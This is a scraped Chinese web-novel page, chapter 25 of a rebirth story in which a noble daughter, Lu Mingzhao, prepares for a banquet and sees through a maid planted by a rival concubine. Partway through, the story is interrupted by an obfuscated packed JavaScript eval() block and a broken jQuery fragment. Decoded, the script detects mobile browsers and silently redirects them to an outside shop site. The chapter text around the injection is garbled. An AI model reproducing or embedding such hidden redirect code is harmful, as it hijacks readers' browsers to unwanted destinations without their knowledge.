文趣网 > 都市小说 > 重生,我在后宅当恶女 > 25. 罗刹
    日光融融,树影晃动,投下一个个圆润的光斑。

    陆明昭坐在妆台前,随手打开妆盒,拿出支簪子在她额头边笔画。

    若梦病了,还在修养。院子里的丫头年纪都太小,不会描眉。这几日,都是陆明昭自己给自己梳妆。

    她臭美得不得了,一支一支试过了,都嫌弃不好看。什么破簪子,簪上之后还没有她素面朝天的好看。

    “姑娘,快些,别迟到了。”若梦半撑着身子,靠在床头上娇嗔。

    她还不知道她们家姑娘?要是没个人三催四请,是绝对不会出门的。

    可是李大人府上的千金满周岁,陈夫人请了京中的达官显贵。陆家也在邀请范围之中。

    自夫人走后,大人没有续弦,刘姨娘、荷姨娘不能出后院。

    大大小小的宴会便落到了姑娘头上,应酬、社交,全都是她在做,再不出门可就要迟到了。

    陆明昭耸着肩膀,做出个可怜巴巴的表情,朝后看了看,才撒娇道:“我知道了——”

    别催嘛,她明明看着日头的!

    若梦又笑着嗔了陆明昭一眼。

    姑娘要真看着日头,早就出门了。怎么会这个时候,还在家坐着,分明是不想去。

    陆明昭自然也知道若梦在想什么,可她委屈地不敢应,只对着镜子一味化妆。

    她喜欢人多出风头是不错,可有她去,自然就会有京中其他小姐姑娘会去。陆明昭今日磨磨蹭蹭,就是不想见这群人!

    “都退婚了,其他人不会说什么的。”

    前些日子,陆行德正式给了安国公退婚贴。

    若梦知道,满京城明面上虽没说什么,可私底下风言风语可传得到处都是,有些话冲着陆明昭来,很是不好听。

    什么克夫、小气、盘算……

    都是一派胡言,她们从不往心里去。可若梦想不明白,自家姑娘什么时候又开始计较这个,连宴会都不愿去。

    “你不懂!若梦!”陆明昭把眉刀轻轻放在桌子上,转过身,扬起眉毛,娇滴滴地搅了一下手:

    “我是讨厌那群京城里的武官女眷!”

    那群武官的女眷最要好了,李芙蓉落了难,那群人还不知道要怎么给李芙蓉报仇。

    今天肯定会针对她的!

    “唉……”若梦有些头疼,也是这个道理:“那,要不就推掉?”

    “不行!”陆明昭摇摇头,这次的态度十分坚决,她若不去,岂不是显得她怕了?

    她不想去,和她不愿意去,是两码事。别人讨厌陆明昭,她当然更要出门。

    在这个家里,她已经被刘姨娘肘制了。若再不把握住在外社交的机会,展现她自己。她出门的机会,便更少了。

    陆明昭想,世人对她有偏见,自然是正常。只要她多出门,好好应对,这些偏见,自然都能被扭转过来!

    若梦心疼地看着陆明昭,后悔她的腿受伤,不能陪着陆明昭出门应对:

    “也好,这身蓝色的正好,姑娘赶紧出门吧,别晚了。”

    陆明昭羞赧地咳了咳,心虚地小声说道:

    “这身不行,衣服太素净,头饰太华丽了。”

    要是占了主人的风头,李家对她有意见,她岂不是费力不讨好了吗?

    若梦不解地蹙眉:“那姑娘穿这件蓝色的做什么?”

    “就……就是……今早上突然看见了,觉得好看,试一试嘛——”

    陆明昭搅了搅头发,心虚地移开眼睛,说起话来都结巴。

    早上翻箱子的时候,陆明昭突然看到了这件裙子。

    她脑子从来都好用,家里有什么,都记得清清楚楚,更何况是她的妆奁匣子。

    就是对这件没映像了,陆明昭才拿出来试试。

    爱美之心人皆有之,陆明昭这一试果然没错,蓝色的石榴纹料子,显得她皮肤白极了。

    所以陆明昭又在妆台上小坐了一会,欣赏了一下她的美貌。

    “迟到一小会没事的!”

    陆明昭知道若梦准是要骂她了,便半眨着眼睛,用手比划了个“一点点”的姿势。

    若梦隔空点了点陆明昭的脑袋,半回过头,佯装生气地翻身撑着脸。

    陆明昭知道没事了,便顺杆上爬,小猫摇尾巴般,得寸进尺地仰着脸,梳了梳耳边垂发:

    “我记得,这还是母亲在时,准备的料子呢。若梦,这是什么时候做成的衣服,我竟然不记得了。”

    若梦也奇怪。这几个月,连着是姑娘生病,盘算遗产,她又生病。什么时候做成衣服,她竟然也不记得了。

    “姑娘,这是我做的。”一个高挑的侍女,突然从屋外的帘子后面走了出来。

    陆明昭愣了一下,将手中的梳子放在桌上,心想这人会戏法不成,怎么凭空一下就跳了出来。

    关键是,她还一点都不认识。

    却见那侍女,盈盈冲陆明昭拜了拜:“奴婢是大人指派过来,照顾姑娘起居的杏香。”

    “胡说,大人若指派人,必然会提前到明日阁知会一声。”

    若梦蹙眉轻声道。

    杏香是个小尖脸,笑起来眼睛水灵灵的,像是春风拂过湖面般动人:

    “大人说,若梦姑娘生病了,照顾姑娘不便。今早便直接把奴婢划了过来,奴婢没什么长处,只会做做女工,便提前赶制了这件衣服,送给姑娘。”

    杏香又笑了,对着若梦轻轻一拜:

    “若梦姐姐别担心,刚才姑娘在梳妆时,我已经把厢房收拾出来了。若姑娘后面要管账理家,厢房光线好,在那里最合适不过了。”

    若梦长眉微蹙,她捂嘴,有些犹豫地看着陆明昭,隐约有些担心。

    陆明昭拿起梳子继续梳头,表面没什么反应,实际则有些生气。

    别以为陆明昭听不明白,这个杏香张口闭口没有一句实话。

    嘴上说,是她父亲临时指派来的,又说这衣服提前准备了很久,才送给她做见面礼。

    这可是她母亲在世时,留下的料子,杏香不问一声,竟然敢直接动了!

    连陆明昭的院子都敢安排上了,哪家的奴婢敢越过主子做主?

    真是反了天了,若不是刘姨娘,安插进她房里的间隙,陆明昭才不相信!

    “姑娘,二门上小厮来传话,说是大人催你出门了。”

    小丫头气鼓鼓地站在帘子后面,她看到杏香就不想进屋。

    上午在屋里,她打扫院子打扫得好好的。这个杏香一进来就明里暗里数落她,现在她一看见杏香就觉得晦气。

    杏香小心打量了一下,确认若梦在看陆明昭,陆明昭又背对着她。

    她便朝小丫头翻了个白眼。

    杏香觉得这小丫头真是不识好歹,一个打杂的丫头片子,还敢跟她一等女使脸色看。

    看她得了势,不把这群小丫头全都打发出去。

    心里想着,杏香收回眼眸,得意朝着陆明昭方向看了看。

    却看见镜子里,陆明昭一双幽深冷肃的眼眸,静静地盯着她看,像幽闭于深宅的女鬼,黑洞洞的,冻得她一颤。

    “姑娘……”杏香吓得没站稳,“咚”的一声,便跪在了地上,还想辩解几句。

    把一切尽收眼底的陆明昭,却一句话都懒听她说。

    陆明昭身边留不下心术不正之人,更何况这人还是刘姨娘派过来的。

    明面上,这个杏香是父亲指派的,她不能马上赶出去。不过也好,刘姨娘敢在她身边留个把柄。陆明昭就敢借着这大风,在院里起浪。

    “换衣服走了。”陆明昭施施然起身,她娇滴滴冲若梦笑了笑,示意她安心。

    吓唬吓唬杏香也好,以后日子还长着呢。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877194|210560||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    杏香知道,这便是要装作什么都没发生了。她连忙笑盈盈地对陆明昭说:

    “那我留下来照顾若梦姐姐。”

    “你跟我走,去李大人家。”陆明昭伸出修长殷红的指甲,指着杏香懒洋洋地说道。

    这便是要让她当贴身女使了!

    杏香高兴地摆了摆:“多谢姑娘。”

    “我房里还缺个端礼箱的,你小心拿好,别给我弄坏了。”

    陆明昭丢下这句话便走了。

    她可不敢让杏香留在家里,杏香若再做做主,她都害怕,她的明日阁被杏香拆了。

    杏香愣了一下,意识到她白高兴了一场,便讪讪站了起来,不甘地捏了捏裙摆。

    她从前在友琴院可是贴身女使!现在让她端东西,不是把她当打杂的看吗!

    “哼哼,有的人可丢脸了!”

    小丫头想着上午杏香趾高气扬,眼下又吃瘪的样子,揶揄着跑了出去,准备把这个好消息讲给其他人听。

    杏香觉得她的脸火辣辣的疼,像是无端被人打了一耳光。

    她什么时候受过这样的嘲?

    一肚子火没处发,刚想转身离开,却听见若梦柔软笑着宽慰道:

    “你别往心里去,院子里的丫头都被姑娘养刁了,她们不过与你玩笑罢了。”

    杏香转头,看着床上鬓发半偏的若梦,有些迟疑地点了点头,惊讶这个明日阁里的大婢女竟然会安慰她。

    若梦冲她笑了笑,甜腻得像一个美梦。

    *

    马车哒哒行驶在青石路上,马上快到李府了。陆明昭坐在车厢里,偏着脑袋,掰着鲜红的指甲,最后清点了遍贺礼。

    虽然母亲去世得早,可陆明昭也凭着记忆,与上辈子的经验准备了七七八八。

    “姑娘,这些能行吗?”

    杏香觉得几块破布寒酸极了,便睁着水汪汪的大眼睛,嗔怪看着陆明昭。

    陆明昭懒洋洋地瞥了她一眼。心里还委屈,早上杏香不经过允许,擅自动明日阁的东西,便懒得跟她搭话。

    他们这些官宦、世家,送的无非是些金银珠宝。陆明昭想着,左右这些都是给李千金添贵气的,李千金不缺。

    她便在金银首饰外,准备了些更实用的婴儿丝绸缎面,做襁褓最好。

    这哪是什么破布,这是四经绞罗。普通的布匹只有横纵两根线织成,织出来是平整的。

    可四经绞罗,是四根线织成!

    从织布最初,就从横、纵、上、下,四个方位同时纺织,织出来的布天然就有暗纹,精贵得很。

    苏州的罗大多数都要上供,现在时岁越来越不景气,西北又虎视眈眈,好东西越来越少。

    若不是要送给小婴儿,她才不愿意拿出来。

    “我恶心想吐,你到李府了,再叫我。”

    陆明昭娇气,坐在马车里,头一回有些晕车。

    她往日都是骑快马,架快车。父亲年纪大了,小厮们顾及着他的身体,不得不把车压得慢了些,陆明昭反倒不舒服。

    谁知杏香会错了意,双手交合靠在陆明昭榻前,弯腰笑盈盈谄媚了一番:

    “姑娘可别是被煞星冲撞到了。我听说李大人这边才办着周岁宴,隔壁那个夜叉就整夜整夜在院子里杀人。”

    “什么夜叉?”陆明昭强忍住恶心奇怪。她明明已经让人帮她搜集京城信息了,怎么还有不知道的消息。

    杏香见她感兴趣,更得意了,连忙笑着八卦道:

    “姑娘不知道吗?大街小巷都传遍了,六皇子陛下又杀人了,杀的还是他的近军和谋士呢。”

    陆明昭脸色白了白,伸手抚在脸上的指甲,犹如夤夜中盛开的血花。

    杏香没察觉陆明昭的生气,继续揶揄笑道:

    “罗刹么,不就是吃人肉、喝人血的吗?”